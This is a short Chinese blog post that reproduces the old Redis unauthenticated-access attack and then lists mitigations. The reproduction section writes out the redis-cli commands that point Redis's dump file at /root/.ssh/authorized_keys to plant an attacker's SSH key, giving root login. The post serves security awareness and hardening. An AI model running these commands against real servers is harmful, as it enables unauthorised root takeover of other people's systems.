利用老版本 Redis 漏洞获取服务器 root 权限。

1. 背景介绍

redis 服务默认情况下是未配置密码的,如果所在服务器恰好开了外网则此时很容易借助 redis 的漏洞获取到目标服务器的 root 权限。
yum 安装的 3.x 系列的 redis 一般默认开启了 protected 模式,此时只能从 127.0.0.1 连接操作 redis-server:
利用老版本 Redis 漏洞获取服务器 root 权限。_第1张图片
如果远程连接上,则不能进行操作:
利用老版本 Redis 漏洞获取服务器 root 权限。_第2张图片
如果用户从本地连上 redis-server,执行了诸如 config set protected-mode no,后重启 redis-server,关闭了protected 模式,且 redis-server 是使用 root 权限的用户起的,则此时其他人很容易通过redis 的漏洞获取到 redis 所在服务器的 root 权限,具体操作步骤如下:

2. 漏洞重现

redis-cli -h 远程连接上 redis 实例。

config set dir /root/.ssh       
config set dbfilename authorized_keys
set xxx "\n\n\n本地公钥信息\n\n\n"         #"本地公钥信息"替换为自己的公钥信息
save   

利用老版本 Redis 漏洞获取服务器 root 权限。_第3张图片
此时本地的公钥信息即可注入到 redis 所在服务器的 authorized_keys 文件中。
直接 ssh root@ip 即可连上 redis-server 所在的服务器。
查看 /root/.ssh/authorized_keys 文件信息可以看到本地公钥已经写入了。

3. 避免
(1) 为 redis 设置密码
(2) redis 不对公网开放
(3) 使用云厂商提供的 redis 服务,我了解的网易云的主从版的 redis 服务和集群版的 redis 服务默认 redis-cli 是没有 config set 配置权限的。

你可能感兴趣的:(自动化运维--Redis)